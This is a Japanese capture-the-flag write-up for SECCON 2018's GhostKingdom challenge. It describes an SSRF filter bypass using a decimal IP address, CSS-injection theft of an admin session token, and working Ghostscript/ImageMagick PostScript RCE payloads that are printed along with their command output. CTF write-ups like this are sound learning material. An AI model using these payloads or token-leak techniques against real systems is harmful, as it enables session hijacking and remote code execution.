SECCON 2018 Online CTF GhostKingdom Writeup
はじめに
この問題は2つのステップでFlagを入手することができる。
- CSSインジェクションでCSRFトークン(=セッションキー)を抜き出しローカルユーザーとしてログイン
- ローカルユーザーだけが使える、RCE脆弱性のあるImageMagickを使った画像変換機能でFlagを読み出す
問題文
http://ghostkingdom.pwn.seccon.jp/FLAG/
Writeup
問題文のURLにアクセスすると次のメッセージが表示される。
FLAG is somewhere in this folder. GO TO TOP
http://ghostkingdom.pwn.seccon.jp/
にアクセスするとログイン画面とユーザ作成画面へのリンクがある。
適当にアカウントを作ってログインするとメニューが表示される。
それぞれの機能は次の通り。
Message to admin
はその名の通り、管理者にメッセージを送ることができる機能。色々試したところ、最近よくある、送ったメッセージをサーバーのHeadless Chromeで開いてくれてXSSが発動して…という問題ではない模様。このパターン結構好きなのでちょっと残念。Take a screenshot
はURLを指定するとそのページのスクショを返してくれる機能。Upload image
はローカルネットワークからしかアクセスできないらしい。
Take a screenshotの調査
http://ghostkingdom.pwn.seccon.jp/
のスクショを撮影してUpload image
メニューがどのように見えるか試してみる。
普通にアクセスさせるだけではインターネットからのアクセスと判定される。次に、http://127.0.0.1/
を指定したところYou can not use URLs that contain the following keywords: 127, ::1, local
というレスポンスが返ってきた。IPアドレスは色々な表記方法がある*1ので、127.0.0.1
を10進数に変換した2130706433
を指定するとlocalhostからのアクセスと判定された。
http://2130706433/?action=login&user=<USERNAME>&pass=<PASSWORD>
へアクセスするとメニューが表示された。
ただ、Upload image
のURLは分からないのでこのままではそのページにアクセスすることはできない。
ちなみにセッションは多分スクショを撮影した送信元IPアドレスで管理されているようで、IPアドレスが変わるとログアウト状態になるようだ。
Message to adminの調査
メッセージ作成画面ではTypeを選べるようになっていて、Emergencyを選ぶと緊急度が高そうな色で装飾してくれる。
このページではSend to adminをクリックするとCSRFトークンを送るような仕組みになっている。このCSRFトークンはCookieのセッションキーと一致している。管理者のCSRFトークンを窃取できれば管理者としてログインできるかもしれない。
<span class="msg">Message: AAAA</span> <input type="hidden" name="csrf" value="bdf34c07abd5a325c685d0"> <input type="hidden" name="action" value="msgadm3"> <input type="submit" class="btn" value="Send to admin">
このページのURLは次の通り。
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=AAAA&action=msgadm2
css
で指定されている値がBase64っぽいのでDecodeしてみるとspan{background-color:red;color:yellow}
となり、レスポンスに含まれるCSSと一致する。ページに出力されるCSSをリクエスト側で操作できるようになっていることがわかる。ちなみに、記号などはエスケープされていてJavaScriptを挿入したりはできなさそうだった。
CSSを使ってページの要素の属性値を盗み出す手法は知られている*2ので、この手法で細工したページにスクショ機能を使って管理者にアクセスさせることで、管理者のセッションキーを盗み出せそうだ。
CSSによる属性値の窃取
CSSの属性セレクター(attribute selector)*3を使うことをによって、属性値を入手することができる。
例えばa要素のhref属性の値を入手したい場合を考える。
<a href="???">Example</a>
次のようなCSSを読み込ませることができた場合、属性値がa
から始まっていればhttp://example.com/href=a
にリクエストが飛び、b
から始まっていればhttp://example.com/href=b
にリクエストが飛び、、、といことができる。
a[href^="a"] {background:url("http://example.com/href=a");} a[href^="b"] {background:url("http://example.com/href=b");} ...
このやり方で、自分に向けてリクエストを飛ばすようにすれば属性値の1文字目が判明する。2文字目以降も[href^="aa"]
、[href^="ab"]
のように繰り返すことにより読み出すことができる。
セッションキーの窃取
前述のようなCSSが出力されるMessage to admin
のページに、スクショ機能を使って管理者にアクセスさせれば良い。具体的には次のコードでセッションキーを入手できる(セッションキーは22文字なので手動でやっても良かったが無駄に頑張ったスクリプトにしてしまった)。
Flagの読み出し
入手したセッションキーをCookieにセットして/?action=menu
にアクセスするとUpload image
が有効化されている。Upload imgae
(/?action=upl0ad
)にアクセスするとファイルをアップロードできるフォームが出てくる。
jpgをアップロードすると、gifに変換することができる。
ここで変換後のURL(http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi?action=convert
)を見てみると意味深なファイル名であることがわかる。どう考えてもGhostscriptの脆弱性が利用できるImageMagicを使って変換しているとしか思えないURLなのでhttps://www.openwall.com/lists/oss-security/2018/08/21/2にあるCentOS向けのid
コマンドを実行するpsファイルをアップロードして変換してみる。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops
すると次のようなレスポンスが返ってきた。
uid=2127340927 gid=2127340927 groups=2127340927 Error: /ioerror in --showpage-- Operand stack: --nostringval-- 1 true Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- 1761 1 3 %oparray_pop --nostringval-- --nostringval-- Dictionary stack: --dict:1172/1684(ro)(G)-- --dict:0/20(G)-- --dict:77/200(L)-- Current allocation mode is local Last OS error: Broken pipe GPL Ghostscript 9.07: Unrecoverable error, exit code 1 convert: Postscript delegate failed `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.jpg': No such file or directory @ error/ps.c/ReadPSImage/832. convert: no images defined `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.gif' @ error/convert.c/ConvertImageCommand/3046.
id
の結果が返ってきているのでどうやら成功した模様。エラーメッセージからDocumentRootが/var/www/html
だということもわかる。次のpsファイルを変換させることでFlagのファイル名が判明する。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%ls /var/www/html/FLAG) currentdevice putdeviceprops
結果
index.html FLAGflagF1A8.txt Error: /ioerror in --showpage-- Operand stack: --nostringval-- 1 true Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- 1761 1 3 %oparray_pop --nostringval-- --nostringval-- Dictionary stack: --dict:1172/1684(ro)(G)-- --dict:0/20(G)-- --dict:77/200(L)-- Current allocation mode is local Last OS error: Broken pipe GPL Ghostscript 9.07: Unrecoverable error, exit code 1 convert: Postscript delegate failed `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.jpg': No such file or directory @ error/ps.c/ReadPSImage/832. convert: no images defined `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.gif'
あとはhttp://ghostkingdom.pwn.seccon.jp/FLAG/FLAGflagF1A8.txtにアクセスすればFlagを入手できる。
SECCON{CSSinjection+GhostScript/ImageMagickRCE}